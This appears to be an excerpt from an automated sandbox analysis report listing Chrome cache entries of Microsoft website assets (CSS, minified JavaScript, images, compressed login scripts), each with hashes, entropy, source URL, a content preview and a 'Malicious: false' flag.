URL:	https://support.microsoft.com/css/SearchBox/search-box.css?v=bybwzGBajHicVXspVs540UfV0swW0vCbOmBjBryj9N4
Preview:	.searchBox .searchBoxForm{position:relative;margin:0}.searchBox .searchBoxForm .searchBoxInput{width:100%;height:3.1875rem;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:1rem;padding-left:1.125rem;padding-right:3.625rem;border:.0625rem solid #a3a3a3;border-radius:.125rem;box-sizing:border-box;outline:0}html[dir=rtl] .searchBox .searchBoxForm .searchBoxInput{padding-left:3.625rem;padding-right:1.125rem}.searchBox .searchBoxForm .searchBoxButton{position:absolute;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;cursor:pointer;padding:0 .25rem;top:0;right:0;width:3.125rem;height:3.1875rem;background-color:transparent;border:none}html[dir=rtl] .searchBox .searchBoxForm .searchBoxButton{left:0;right:auto;transform:scaleX(-1)}.searchBox .searchBoxForm .searchBoxButton .searchBoxIconContainer{display:flex;color:#0078d4;justify-content:center}.

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	175
Entropy (8bit):	4.68043398329258
Encrypted:	false
SSDEEP:	3:agWqLs3KOBmKL8ELDSzEfYZBAeOE8c/yCN9xGV9LH1CNILWAcELDlpKOBmKL8ELQ:QqtgLSH9xGf1OILWAfkgXe
MD5:	96F0C5B1219E39B8788028F5C17A5AD9
SHA1:	D6DCE0DE065B0D13905EAEDA0BA5C0DEA3D8F67C
SHA-256:	1FC2BCE2D46DF4565B8C488B22225CFE7ADB7C37CC9A542D4F85B61995B306CB
SHA-512:	057810FA0558506C6B8ABECB1A7A58FF61DA0609B3A5798BB42DE3A9B801CA0D8B20C4C1F9A250EE33D30492452CC5C4553332B16300408AA0C45B1515D4AF10
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-cookieconsent.min.ACSHASH96f0c5b1219e39b8788028f5c17a5ad9.js
Preview:	'use strict';function AEMOnCookieConsentChangedCallback(a){}if("undefined"!=typeof WcpConsent&&null!=WcpConsent)WcpConsent.onConsentChanged(AEMOnCookieConsentChangedCallback);

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7862)
Category:	dropped
Size (bytes):	129677
Entropy (8bit):	5.330029900554168
Encrypted:	false
SSDEEP:	3072:BkDsmoyraxaOfNPN5/4OYQk9qNeUyMLBRMr:BkZX2xaw8
MD5:	10908F1C465EEADC74B1C17C9515EB8A
SHA1:	EAB69087F1E08128C3B08CE3AFB6E5980CBF058D
SHA-256:	51F1F59783B1C7C3C9F4C892F629C6A9F801ECCFC2CEA0B1D6AB5A1DC685DD03
SHA-512:	55CF4EFB3D2314CF1ECE48E9A146A40B6A884C66027FD19BDDC2BBCBCCBAAA0C07DF6AE7937DC1DD8783257B515ABF0B2CF84F2E0CDA4236FA92ED01A54FDDD1
Malicious:	false
Preview:	/******************************************************************************. Copyright 2017 Adobe. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS,. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. * See the License for the specific language governing permissions and. * limitations under the License.. ******************************************************************************/.if (window.Element && !Element.prototype.closest) {. // eslint valid-jsdoc: "off". Element.prototype.closest =. function(s) {. "use strict";. var matches = (this.document \|\| this.ownerDocument).querySelectorAll(s);.

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	26647
Entropy (8bit):	7.961164465196959
Encrypted:	false
SSDEEP:	384:nhL1z7tVW03Npmi6K0i1WRphEQAjQLj9I32JxMqJn26OsNCVbgP6re0QG9d8b1P:h1zXWKYi90i+Az3cxMqV26pNAeTG9do
MD5:	7343B003F48E30FBDDF87CFC795E860A
SHA1:	12FF2D14D7666F516CAF23848113902A7D5570C6
SHA-256:	B8B3DBA0B8C52DB7CCBFAD56815F0F38E83895488101C51AA580AD581D7115CC
SHA-512:	39E291A9E69D1D22B414428148EA7795FF1D33F875BF823F0E8C96276431E7AAE5A1B4EF7F050492B9903214B5FE7B9B4C92FF1B68A03A614258BA04605640C5
Malicious:	false
URL:	https://support.content.office.net/en-us/media/bcd2fdf1-530a-482f-b96d-5f2f2a49ac66.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...g.IDATx....wUU./...`.2j2.&C `.X....L.H.b.1.B...1.J.%5..Z%2....EH.$..../........~..y....=...Y....s....{.s.+V.X..b.UVa.]..X5........:N.Z...5d.C.5.9.Yvl^..8....\im..h...M.9....l3[...h..w......f..:..'.W..2....y.(.$'..TD....].S.NSx(.z...J...~.!.b.J..o.AE.B.A.......>f:...:&...eYDTOV!....(E.G..&1.+.JY...&\|J..M.K...J....w.$.h2...G1..[....}.....2E7a.rs.;..o....\|.e..m...e.1..(.k.r...K".\.K.)..".(J..p.>.."v...\|..7.1C.L........S.w.g;....w....QB%.....%.Z].S..S../=.._.. -.......C..}b.....m..-..W..es....N....y..-.nS.T%..t3.IZQ.?.....R..Zxp.$yIc.....&d...2\|.]...'...>.....&.T.'...B..%......Oj.Q....xkFR...+.\|yH.s.B..>.....J.SW,...Z.d(....v..&,Y....Sf.....K.m.E.WL.~.B.D...&..c.Z..\|l.li$.$.V.P}.BJ.~.p...T.IM..1>.'cn........!..6CR&..Y.r.k....=.nL.->....2W......9...J....c.`S8A...R...(Q.N.V+K+.-..........[b..]._{.."%D'-...e...R'...k.T!.(...Q...>R.#.-Y.}\......U*T../..

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.5381675180416146
Encrypted:	false
SSDEEP:	48:jkOEEEEEEEEEEEEEEEEEEEE9dddddddddddddrSXdFhEF:jVSh4
MD5:	572BCA271094D6C9B04351541A1181B7
SHA1:	492CA901E4541C05D5CBC28900E637BE0845E929
SHA-256:	10C8A1BC3DF4C706A4A58560FE08D94032ED275E640DB4DDA43D892986DA9FF3
SHA-512:	A3FE8691E54EDAF367B0111CD5A2CAA1D50F7BE76159805097B5A4A62617FCF21FF7BB93679FE9A4EF2B376052754E189DFC789067878D5D834BCC437F083858
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......$.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21727
Entropy (8bit):	5.232101618468897
Encrypted:	false
SSDEEP:	384:xYzlQeau9P3TI8NCUiLFv1uP4ZVSc2uQyea+eHbJjaTbz7NiCR6Rv98NOsQzOiL/:xYhQel3TI2ChBt2OVSZuQoJjG7N1R6Rp
MD5:	C49C34EE38F103BCB82F58DED32F57DB
SHA1:	757C8CE6D92102903F636C20B70E414A5E9A2E20
SHA-256:	BDBBDA3BD97031FF5BCB76B427D2ECD9C4617922C3860F662E51FB18AC5CC591
SHA-512:	5C5307784F8B7D3CF479154CADF3525D1D1BF05216D72BB32ABEF6E25183E26FB4D84DB7B14AA2868B11F54E23284D02BFE0309EE4D560AC79A507F762DBC219
Malicious:	false
Preview:	/! Copyright (C) Microsoft. All rights reserved. /....(function ($) {...'use strict';...(function smartFeedback() {....var activatedStarRatingValue = null;....var activatedStarRatingLabel = null;....var userSelectionIsInfoHelpful = null;......var checkBoxSelected = false;....var starRatingSelected = false;....var verbatimEntered = false;....var $spanDisplayElementsForStarCheckbox = $(".translationRatingStar, .checkboxTick");....var $extendedFeedbackStarCheckboxElements = $(".translationRatingStar, .articleExperienceOptionsCheckbox");......var $extendedFeedback = $("#extendedFeedback");....var $extendedFeedbackForm = $("#extendedFeedbackForm");....var $feedbackWrapper = $('#supWrapperToPreventFeedbackFlickering');....var $starRatingDescription = $("#starRatingDescription");....var $supDisableStickyFeedbackButton = $("#supDisableStickyFeedbackButton");....var isEnableStarRating = $feedbackWrapper.data("enableStarRating") ? $feedbackWrapper.data("enableStarRating").toLowerCase() === "tr

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	dropped
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (601)
Category:	downloaded
Size (bytes):	10434
Entropy (8bit):	5.138897195822734
Encrypted:	false
SSDEEP:	192:ucdsngdKadwed0XdLIdLdOgdOudq/m0YdOK/KadqMdrudq/B2nded8vd7dtkkYdd:Nsg31oLYBlxq/bIH/Kyq8yq/B2d2YRtm
MD5:	E5E717DDD1C394CD4371209C7CD8BD28
SHA1:	B1B35E8AAEB2AA8E3A6F622DEF626AEF871A3BB3
SHA-256:	8511F1B20AB4F34B58C0D65507297CE00B07F341E5CFC31E38169230FA295BF6
SHA-512:	8DD6C2E6432FB0717F4472C6A8BA1B6B6F26C2B35F876DE2F9136F36FCA27DC05A9DC9FE5E912335F83A02BED765EE2BAAF3EAD87CD0B4A8A4204C8D75663325
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/components/content/Inpagenavigation/v1/Inpagenavigation/clientlibs/sites.min.ACSHASHe5e717ddd1c394cd4371209c7cd8bd28.js
Preview:	'use strict';function calcNavItemWidth(){var d=0,c=$("#stickyNavDesktop .more").outerWidth(!0);$("#stickyNavDesktop \x3e ul \x3e li:not(.more)").each(function(){d+=$(this).outerWidth(!0)});c=$("#stickyNavDesktop").width()-c;var f=$(".custom-sticky-nav").hasClass("windows-scroll-effect")?90:45;0!=d&&d/c*100>f?(c=$("#stickyNavDesktop \x3e ul \x3e li:not(.more)").last(),c.attr("data-width",c.outerWidth(!0)),c.prependTo($("#stickyNavDesktop .more ul#submenu")),calcNavItemWidth()):(f=$("#stickyNavDesktop li.more ul#submenu li").first(),.d+f.data("width")<c&&f.insertBefore($("#stickyNavDesktop .more")));0<$(".more li").length?$(".more").removeClass("d-none"):$(".more").addClass("d-none")}.function checkIfMoreHasOptions(){setTimeout(function(){$(".custom-sticky-nav .more li:not('.navitem-right-mobile')").hasClass("active")?($(".more .more-options-link").addClass("active-more"),$(".nav-right-items ul li").removeClass("active")):($(".more more-options-link").removeClass("active-more"),$(".nav-r

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3637)
Category:	dropped
Size (bytes):	3690
Entropy (8bit):	5.141541571595828
Encrypted:	false
SSDEEP:	96:Af3vI6YmI62HUbHbZbpVuJRDhxwC9jTx+IRcaOs/Z:Af3vI6YmI62HUrllgffOQZ
MD5:	A249B03B72AB5E7B60E7806457B9BE61
SHA1:	FF0B5F4FB91A9DBF147262AD59B292C6C2DFE122
SHA-256:	48FF8C6449BEF199F206C7A1C49403E10DC6341A9D4A1F8946B042DDE66E315F
SHA-512:	29F204E3813972DC76FCE3DD6715093646EB0DA52DEDAC5E7E09B618E5CF8703CDE95D463727EB29F90D461D0C5A73B5701EC39B994A268103A06306144A6F34
Malicious:	false
Preview:	!function(){"use strict";var n;!function(n){n.PromotionBanner=".PromotionBanner",n.TopPageBanner=".TopPageBanner",n.AboveUhfBanner=".AboveUhfBanner",n.RailBanner=".RailBanner",n.NpsRailBanner=".NpsRailBanner",n.RailSecondaryCtaBanner=".RailSecondaryCtaBanner"}(n\|\|(n={}));var e=[{dismissSelector:null,clickSelector:"#ucsTopBannerButtonLink",element:n.PromotionBanner},{dismissSelector:"#top-banner-dismiss-button",clickSelector:"#ucsTopBannerButtonLink",element:n.TopPageBanner},{dismissSelector:"#uhf-banner-close",clickSelector:"#upgradeUhfBannerButton",element:n.AboveUhfBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button",element:n.RailBanner},{dismissSelector:"#nps-rail-close",clickSelector:"#nps-rail-link",element:n.NpsRailBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button, #rail-banner-button-secondary",element:n.RailSecondaryCtaBanner}],t=function(){return t=Object.assign\|\|function(n){for(var e,t=1,r=argument

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (584)
Category:	downloaded
Size (bytes):	6798
Entropy (8bit):	5.383941368080596
Encrypted:	false
SSDEEP:	192:2+ocdo4VYgB9G/0y/qhNJ5k4iflBDHndCjOGGWr:2+ocdo4B7G/0yyNSflhndCjOGGA
MD5:	1DABD5CC3F7B68C178B59EA74DC62947
SHA1:	B8DF9D8FD267B8B74325667DC97278CCC90A1464
SHA-256:	E49EFB0A75AF4995902362EA679A0FC4EB120A881A090CB8424D5CBD183436A2
SHA-512:	8C26E45CA37AC5DCCCC0C7BBCA92E0E8E11FB807A6D9A6916D5A0CC1CF198A7942DD5583C31ACBD1A11DDE004C252806D205E9CFDA7F494A6F7D5BBFA42920E4
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/universalheader/v1/universalheader/clientlibs/site.min.ACSHASH1dabd5cc3f7b68c178b59ea74dc62947.js
Preview:	'use strict';(()=>{function m(f){var e=G[f];if(void 0!==e)return e.exports;e=G[f]={exports:{}};return I[f](e,e.exports,m),e.exports}var I={1623:()=>{$(function(){function f(){-1!==document.cookie.indexOf("".concat("Cascade.AuthSSO","\x3d"))&&(document.cookie="".concat("Cascade.AuthSSO","\x3d; expires\x3dThu, 01 Jan 1970 00:00:00 UTC;"))}function e(){var a=function(){var d=document.cookie.match(/(^\|;\s)(Cascade.AuthSSO)=([^;])/);return d?(d=parseInt(decodeURIComponent(d[3])),!isNaN(d)&&d>n.DefaultAttempted?.n.SharedStateAttempted:n.DefaultAttempted):n.NotAttempted}(),c=!(!window.msauthRpsShare\|\|b.accountConstraint===w.AAD);if(a===n.NotAttempted\|\|c&&a!==n.SharedStateAttempted)!function(d){$("#".concat("cascadeauthsso")).remove();var g=document.createElement("iframe");g.src=d;g.setAttribute("width","0");g.setAttribute("height","0");g.setAttribute("border","0");g.setAttribute("frameborder","0");g.setAttribute("style","display: none");g.id="cascadeauthsso";document.body.appendChild(g)}(""

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 297 x 166, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6270
Entropy (8bit):	7.945330124411617
Encrypted:	false
SSDEEP:	192:zS7+uH6tmhCSqN0K4Wykh3YMBYpAjav+tlXQ:m7vHqS9WyiooqSa2m
MD5:	5C04A186E00E47C2F90ED18E03AB4093
SHA1:	AC859795B92E3FA0FA88868AF532A3ED6F30F12A
SHA-256:	1A16DBCD6926721D9C3AEB85429586B307F11D2093CF9AEEFDAA37898CB74D46
SHA-512:	909830B01A21E61D98ADF1C61DFC44BD414CF03C51250A9DD7B5C26FB12D6334D984A21F25B5ED089FFDED4CAAA764579EEA317470C8616B7928E989B1A1778A
Malicious:	false
URL:	https://support.content.office.net/en-us/media/f4e85874-2a1a-438d-9c3c-17b069c454c0.png
Preview:	.PNG........IHDR...)...........y;....pHYs.................sRGB.........gAMA......a.....IDATx...._S...SE4....&..DE0(.e.&jb...h....C..b,.i.na.2pI.P"H.!. ZB....w.~..g_._..$'.....>...k..p.....z............:.x...l...:.g.u.......Fz..I..Sh.......T..L)}.c..e.T1.........OL..T,\N\..K4.57.......{./.yR.H.JlQ......@..b...TAT.....)6.0-."... .&..:K.d]1L...R..lJ.......:.....9.\|?}..........g..K..._.R....bk.i..E..K.%`...O....i..E.U....J.L.v.\|..a........bV.jY.>3...M.$R......T.J.....(:......z..L..E5".w.wl.w.g.A1..E.\|.......[a...g..T.....J...U.z..\|.l)..8..U..kp.cR........T...1..l.n\|.i....5...k.j...q.F.}.E/#.j...D....T....3'..^.^:.4.Z....K.`..c@9.Y.=S.W..t..=&.Z.G.R-....%f..xG...".../l.....[.WTw/er#..I.....L.>..R\.........!..U. .5...C.ol.0%....=.....L..B..L..9.&..c.O%T\|..h........egj?A......&...-*.X......;p...nf....T.....,bea.bj#.%....1..0L(Q.... ..sL..P...E.cX%.e...v.SQ".njw...:.>...\.%...b[T..cn'.#Z..i...C..%CX."....ej<.Q.LB......u.(.....E.?.'sR...DN

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1290)
Category:	downloaded
Size (bytes):	11629
Entropy (8bit):	5.449562181288923
Encrypted:	false
SSDEEP:	192:D+BJaYpdowNJ0EwWnvUaBBVaJxQvqKTAphPgffazesLZEU1bsLM7vImzwXdrQ9Cr:D+DDdowNJ0EwWnvUaBBVaJxQvqKTAphS
MD5:	BB93CF674BEB54673814249DCF4EFC96
SHA1:	3190F4BE4D37525C6B3222B93EEAFBC66B538E94
SHA-256:	9653EB19E7206B44513D92E4C9359B289FC2478D4611AE01C5798C89C8211E70
SHA-512:	D7E09140CF399BDEB513544617FABD95AB62BE0D9DD265B2A9E5EB5D1DC29497FE5A4088E66A00C4AEBB9529A217354EBEF512E504B22245CF8C12DC3D95B449
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-windows.min.ACSHASHbb93cf674beb54673814249dcf4efc96.js
Preview:	'use strict';var currentLocale=$("html").attr("lang").toLowerCase(),currentPage=window.location.pathname.toLowerCase(),targetPage="/en-us/windows/business/windows-11-pro",enableExperiments=document.querySelector("meta[name*\x3d'enabled-experiment']"),enableExperimentsValue=void 0!=enableExperiments&&null!=enableExperiments?enableExperiments.content:"",DB_AUDIENCES="Software \x26 Technology;Business Services;Telecommunications;University;Financial Services;Manufacturing;Education;Construction;Healthcare \x26 Medical;K12".split(";"),.win_personalization={"en-us":{alt:{"Software \x26 Technology":"A man working at a standing desk surrounded by three monitors with coding information on screens.","Business Services":"A conference room with Microsoft Teams on monitor and several people around a table with laptop open, working on schematic.",Telecommunications:"A single telecommunications tower rising amongst a sunset and mountains.",University:"Several college-age students with laptops open,

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7862)
Category:	downloaded
Size (bytes):	129677
Entropy (8bit):	5.330029900554168
Encrypted:	false
SSDEEP:	3072:BkDsmoyraxaOfNPN5/4OYQk9qNeUyMLBRMr:BkZX2xaw8
MD5:	10908F1C465EEADC74B1C17C9515EB8A
SHA1:	EAB69087F1E08128C3B08CE3AFB6E5980CBF058D
SHA-256:	51F1F59783B1C7C3C9F4C892F629C6A9F801ECCFC2CEA0B1D6AB5A1DC685DD03
SHA-512:	55CF4EFB3D2314CF1ECE48E9A146A40B6A884C66027FD19BDDC2BBCBCCBAAA0C07DF6AE7937DC1DD8783257B515ABF0B2CF84F2E0CDA4236FA92ED01A54FDDD1
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-base.min.ACSHASH10908f1c465eeadc74b1c17c9515eb8a.js
Preview:	/******************************************************************************. Copyright 2017 Adobe. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS,. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. * See the License for the specific language governing permissions and. * limitations under the License.. ******************************************************************************/.if (window.Element && !Element.prototype.closest) {. // eslint valid-jsdoc: "off". Element.prototype.closest =. function(s) {. "use strict";. var matches = (this.document \|\| this.ownerDocument).querySelectorAll(s);.

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65513), with no line terminators
Category:	downloaded
Size (bytes):	100179
Entropy (8bit):	5.2435712713226845
Encrypted:	false
SSDEEP:	768:2qnFfbkxlWF8tdYRZMcPEk5BFIsbyy9ojybRpWJIYpQ58WLJY8wE2usUrGBux+dZ:k3WdZ0oQZ2LvEV5jNWxb95e
MD5:	33BF947D1178156F1D7E83A0FBCF358F
SHA1:	CF6D6E22E199A2C7365E094B7EC217E8CF8949B3
SHA-256:	0B042AEAB7553F44AE03FFCC375E4AC4AC330F18EF633A52B7107BFE0DFA6BC9
SHA-512:	87EAC2083EAF95D1CB17B52D32B27E25FC386C639630A5D9AE266BCB9E2AE3CDF1B192924BBDF822F2F661626F835449C97377CCD3A07AB8182AED7B4E6D2523
Malicious:	false
URL:	https://support.microsoft.com/css/Article/article.css?v=CwQq6rdVP0SuA__MN15KxKwzDxjvYzpStxB7_g36a8k
Preview:	.html[dir=rtl] .supHomeAndLandingPageSearchButton{right:auto;left:0}html[dir=rtl] .supHomeAndLandingPageSearchBox{padding:0 18px 0 50px}.supHomeAndLandingPageSearchBoxForm{margin:auto;position:relative;max-width:748px}.supHomeAndLandingPageSearchBoxForm .supSuggestionList{margin:0;padding:0;list-style:none}.supHomeAndLandingPageSearchBoxForm .supAutoSuggestContainer{width:100%}.supHomeAndLandingPageSearchBoxForm .supSuggestionItem{text-indent:0;padding-left:18px}.supHomeAndLandingPageSearchBoxContainer{position:relative}.supHomeAndLandingPageSearchBox{width:100%;height:51px;font-size:1rem;padding:0 50px 0 18px;border:1px solid #a9a9a9;outline:0;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif}.supHomeAndLandingPageSearchBox::-webkit-input-placeholder,.supHomeAndLandingPageSearchBox:-ms-input-placeholder,.supHomeAndLandingPageSearchBox::-moz-placeholder,.supHomeAndLandingPageSearchBox::-moz-placeholder{color:#505050

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 17287
Category:	downloaded
Size (bytes):	6055
Entropy (8bit):	7.966934270467373
Encrypted:	false
SSDEEP:	96:GHUxQnaz1UazlzpvapSSzZ2hFwU+bs0HZA4JZdXfSsNL8auoG7ViXi6PrMwh:kUxQK3OeirZPJbfNDuogViiWMwh
MD5:	C128AFC0782F53B4546EFE3DFAB2AD80
SHA1:	5755CCE8610D52DB145BA911012075908C75F470
SHA-256:	22D3B4777561CA881CCB078D997BB4C055261C36D04B55391DAF755F83DDB666
SHA-512:	798AAE61D7C0A903DD959D98D10E901FC92E3BCF4BC16BEE40F4DD4BE13A78EFD5290876F716307DFB42E170BEA48DE55491F2B0F3EA515A2DE98CC319B5A55C
Malicious:	false
URL:	https://logincdn.msauth.net/16.000/content/js/MeControl_yl3C2NknpDMsGqlCvzLtmA2.js
Preview:	...........;k{.8.........$ew...../]..Zn[..m9q..Y..eC.o?3#...x....G.h47..h..e.......Y....<.`/.\|.].y......%...a,.j...d._..8^0........di..hc/..6p.P.i(...Y..p...,K..R.....E...X'u.H.).}...?x.6....!..<)..#$...=F.qdn.6Km....9.+..4.w..i8....F(.8ev........b.....{...<.....{;...,.OyZ:c^.%.....!.X.\|c.Oo1.>.$Q{........^:O.$..c!...E\.c..m.).....T....=x.....%oL..@ 3..D...u:.........S6E.sP.....;rFW4..#.....\n.4.......)._..9.....+..'1...\.x.....e/6_.?....C..(..`.'..37.....F/..':y.{X-)`................Xn.....V..sb-`..0".}`.X..-.A.Tt.......3...e...K[\|...`$.(.M.....G.K.'...+/........bi.c.?..^Im..{=!L.]]./.3... .......P...Cg.O...W.`.v`YC..WP.r.P...I.....@M.;Q....M.B..6../.%(.S.....'a.jiV.y....W........2`e^....?..D.a.ToE......D.R.4X.#~P..!JQ....\|.[6.....c@X...!i.Xc.a...#@..8.......r...`.WlFT.f8.x7.%.+k...O..9.{......j.MY9...;).=GC.........r."...o.xH........Ox.5./5.....846N...64..x....!._.!.k..2.`...L..._. ....]Hqypt.0.W.h..X2.K..Yc.6.-......Ji.v....

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142367
Category:	downloaded
Size (bytes):	49911
Entropy (8bit):	7.994516776763163
Encrypted:	true
SSDEEP:	1536:vr2T/J/l2R6ACJVMQPYmlBXTm12g9bcKo0y0ci:CzJ/lG2KQzBjm1b3ci
MD5:	9B96CC09F9E89D0334BA2FBC22B5197A
SHA1:	B5FE69F39E9F61FEF88DF794F02DC4F4086E2592
SHA-256:	E6331018533143C411BAE25326AB52FCED541C48674551AEA78E750855BDCD1D
SHA-512:	2BDD71A34A7D6172AD4B7B6CF077A891D6266C148000EEF8345E2343E6C21ED8783B2EA328EF3BF7176462A3CA575D2D6D4B55A07138CFD1B02900C95F61077D
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
